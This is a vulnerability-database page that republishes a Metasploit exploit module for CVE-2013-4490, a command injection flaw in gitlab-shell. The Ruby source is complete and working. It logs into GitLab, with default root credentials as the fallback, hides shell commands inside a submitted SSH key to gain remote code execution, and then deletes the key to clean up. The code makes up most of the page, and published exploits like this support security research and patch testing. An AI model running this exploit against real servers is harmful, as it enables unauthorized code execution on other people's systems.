Lucene search
K

Gitlab-shell Code Execution

🗓️ 18 Aug 2014 00:00:00Reported by Brandon KnightType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 71 Views

Exploiting command injection vulnerability in gitlab-shell functionality. Requires valid credentials to add ssh key and execute commands.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Gitlab-shell Code Execution Exploit
18 Aug 201400:00
zdt
Circl
CVE-2013-4490
19 Aug 201400:00
circl
CVE
CVE-2013-4490
13 May 201415:00
cve
Cvelist
CVE-2013-4490
13 May 201415:00
cvelist
Debian CVE
CVE-2013-4490
13 May 201415:00
debiancve
Exploit DB
Gitlab-shell - Code Execution (Metasploit)
19 Aug 201400:00
exploitdb
Metasploit
Gitlab-shell Code Execution
6 Aug 201403:21
metasploit
NVD
CVE-2013-4490
13 May 201415:55
nvd
OpenVAS
GitLab Community Edition 4.2.x - 5.4.0, 6.x - 6.2.2 Multiple Vulnerabilities
28 Mar 202200:00
openvas
Prion
Design/Logic Flaw
13 May 201415:55
prion
Rows per page
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Gitlab-shell Code Execution',  
'Description' => %q(  
This module takes advantage of the addition of authorized  
ssh keys in the gitlab-shell functionality of Gitlab. Versions  
of gitlab-shell prior to 1.7.4 used the ssh key provided directly  
in a system call resulting in a command injection vulnerability. As  
this relies on adding an ssh key to an account valid credentials  
are required to exploit this vulnerability.  
),  
'Author' =>  
[  
'Brandon Knight'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],  
['CVE', '2013-4490']  
],  
'Platform' => 'linux',  
'Targets' =>  
[  
[ 'Linux',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
],  
[ 'Linux (x64)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86_64  
}  
],  
[ 'Unix (CMD)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'RequiredCmd' => 'openssl perl python'  
},  
'BadChars' => "\x22"  
}  
}  
],  
[ 'Python',  
{  
'Platform' => 'python',  
'Arch' => ARCH_PYTHON,  
'Payload' =>  
{  
'BadChars' => "\x22"  
}  
}  
]  
],  
'CmdStagerFlavor' => %w( bourne printf ),  
'DisclosureDate' => 'Nov 4 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),  
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),  
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])  
], self.class)  
end  
  
def exploit  
login  
case target['Platform']  
when 'unix'  
execute_command(payload.encoded)  
when 'python'  
execute_command("python -c \\\"#{payload.encoded}\\\"")  
when 'linux'  
execute_cmdstager(temp: './', linemax: 2800)  
end  
end  
  
def execute_command(cmd, _opts = {})  
key_id = add_key(cmd)  
delete_key(key_id)  
end  
  
def check  
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))  
if res && res.body && res.body.include?('GitLab')  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
def login  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')  
  
# Get a valid session cookie and authenticity_token for the next step  
res = send_request_cgi(  
'method' => 'GET',  
'cookie' => 'request_method=GET',  
'uri' => signin_page  
)  
  
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res  
  
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]  
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]  
  
if res.body.include? 'user[email]'  
@gitlab_version = 5  
user_field = 'user[email]'  
else  
@gitlab_version = 7  
user_field = 'user[login]'  
end  
  
# Perform the actual login and get the newly assigned session cookie  
res = send_request_cgi(  
'method' => 'POST',  
'cookie' => local_session_cookie,  
'uri' => signin_page,  
'vars_post' =>  
{  
'utf8' => "\xE2\x9C\x93",  
'authenticity_token' => auth_token,  
"#{user_field}" => username,  
'user[password]' => password,  
'user[remember_me]' => 0  
}  
)  
  
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302  
  
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]  
  
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?  
end  
  
def add_key(cmd)  
if @gitlab_version == 5  
@key_base = normalize_uri(target_uri.path.to_s, 'keys')  
else  
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')  
end  
  
# Perform an initial request to get an authenticity_token so the actual  
# key addition can be done successfully.  
res = send_request_cgi(  
'method' => 'GET',  
'cookie' => "request_method=GET; #{@session_cookie}",  
'uri' => normalize_uri(@key_base, 'new')  
)  
  
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res  
  
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]  
title = rand_text_alphanumeric(16)  
key_info = rand_text_alphanumeric(6)  
  
# Generate a random ssh key  
key = OpenSSL::PKey::RSA.new 2048  
type = key.ssh_type  
data = [key.to_blob].pack('m0')  
  
openssh_format = "#{type} #{data}"  
  
# Place the payload in to the key information to perform the command injection  
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"  
  
res = send_request_cgi(  
'method' => 'POST',  
'cookie' => "request_method=GET; #{@session_cookie}",  
'uri' => @key_base,  
'vars_post' =>  
{  
'utf8' => "\xE2\x9C\x93",  
'authenticity_token' => auth_token,  
'key[title]' => title,  
'key[key]' => key  
}  
)  
  
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res  
  
# Get the newly added key id so it can be used for cleanup  
key_id = res.headers['Location'].split('/')[-1]  
  
key_id  
end  
  
def delete_key(key_id)  
res = send_request_cgi(  
'method' => 'GET',  
'cookie' => "request_method=GET; #{@session_cookie}",  
'uri' => @key_base  
)  
  
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res  
  
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]  
  
# Remove the key which was added to clean up after ourselves  
res = send_request_cgi(  
'method' => 'POST',  
'cookie' => "#{@session_cookie}",  
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),  
'vars_post' =>  
{  
'_method' => 'delete',  
'authenticity_token' => auth_token  
}  
)  
  
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Aug 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.49784
71